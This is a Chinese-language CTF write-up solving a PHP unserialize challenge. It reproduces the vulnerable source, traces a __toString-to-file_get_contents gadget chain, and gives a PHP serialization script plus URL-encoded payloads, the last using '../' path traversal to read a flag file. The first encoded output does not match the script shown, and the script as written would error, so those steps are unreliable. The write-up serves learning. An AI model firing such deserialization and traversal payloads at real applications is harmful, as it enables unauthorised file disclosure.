第四周1

题解： [第五空间 2021]pklovecloud

  1. 打开环境发现了php代码：

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    <?php  
    include 'flag.php';
    class pkshow 
    {  
        function echo_name()     
        {          
            return "Pk very safe^.^";      
        }  
    } 

    class acp 
    {   
        protected $cinder;  
        public $neutron;
        public $nova;
        function __construct() 
        {      
            $this->cinder = new pkshow;
        }  
        function __toString()      
        {          
            if (isset($this->cinder))  
                return $this->cinder->echo_name();      
        }  
    }  

    class ace
    {    
        public $filename;     
        public $openstack;
        public $docker; 
        function echo_name()      
        {   
            $this->openstack = unserialize($this->docker);
            $this->openstack->neutron = $heat;
            if($this->openstack->neutron === $this->openstack->nova)
            {
            $file = "./{$this->filename}";
                if (file_get_contents($file))         
                {              
                    return file_get_contents($file); 
                }  
                else 
                { 
                    return "keystone lost~"; 
                }    
            }
        }  
    }  

    if (isset($_GET['pks']))  
    {
        $logData = unserialize($_GET['pks']);
        echo $logData; 
    } 
    else 
    { 
        highlight_file(__file__); 
    }
    ?>

  2. 我们进行代码审计 对于反序列化题 最重要就是看代码
    我们先找危险函数或者一些执行代码：

    1
    2
    return file_get_contents($file);
    这个高亮代码可以

    再看他有几个类 ace acp pkshow这三个类

  3. 我们再看一下这个魔法函数 对于反序列话 就应该tostring函数可以用
    在主代码中有个echo函数 可以可以 在反序列化时会自动触发tostring函数

  4. 简单概括就是 第一个类啥也没用 我们以tostring方法为切入点
    与ace类连接 对于代码：

    1
    2
    3
    4
    $this->openstack = unserialize($this->docker);
         $this->openstack->neutron = $heat;
         if($this->openstack->neutron === $this->openstack->nova)
         我们可以选择让docker=null   即null=null  可以绕过

  5. 分析完了之后 我们就开始构造代码：

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    <?php
    class acp 
    {   
        protected $cinder;  
        public $neutron;
        public $nova;
    }  

    class ace
    {    
        public $filename;     
        public $openstack;
        public $docker; 
    } 

    $a = new acp();
    $b = new ace();
    $a->cinder = $b;
    $b->docker = '';
    $b->filename = "flag.php";
    echo urlencode(serialize($a));

    ?>

    得到结果：O%3A3%3A%22acp%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00cinder%22%3
    BO%3A3%3A%22ace%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%
    22%3Bs%3A9%3A%22openstack%22%3BN%3Bs%3A6%3A%22docker%22%3Bs%3A56%3A%22O%3
    A8%3A%22stdClass%22%3A2%3A%7Bs%3A7%3A%22neutron%22%3Bs%3A1%3A%22a%22%3Bs%
    3A4%3A%22nova%22%3BR%3A2%3B%7D%22%3B%7Ds%3A7%3A%22neutron%22%3BN%3Bs%3A4%
    3A%22nova%22%3BN%3B%7D

  6. 用pks= O%3A3%3A%22acp%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00cinder%22%3
    BO%3A3%3A%22ace%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%
    22%3Bs%3A9%3A%22openstack%22%3BN%3Bs%3A6%3A%22docker%22%3Bs%3A56%3A%22O%3
    A8%3A%22stdClass%22%3A2%3A%7Bs%3A7%3A%22neutron%22%3Bs%3A1%3A%22a%22%3Bs%
    3A4%3A%22nova%22%3BR%3A2%3B%7D%22%3B%7Ds%3A7%3A%22neutron%22%3BN%3Bs%3A4%
    3A%22nova%22%3BN%3B%7D试一下
    看到源代码 有个flag的位置/nssctfasdasdflag

  7. 我们修改payload：pks=O%3A3%3A%22acp%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00cinder
    %22%3BO%3A3%3A%22ace%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A34%3A%22..%2F..
    %2F..%2F..%2F..%2F..%2Fnssctfasdasdflag%22%3Bs%3A9%3A%22openstack%22%3BN%3Bs%
    3A6%3A%22docker%22%3Bs%3A17%3A%22O%3A6%3A%22pkshow%22%3A0%3A%7B%7D%22%3B%7Ds%
    3A7%3A%22neutron%22%3BN%3Bs%3A4%3A%22nova%22%3BN%3B%7D
    成功获得flag

  8. 总结：反序列话 一定要看魔法函数 关于整体的结构
    关于flag的位置 可能是在根目录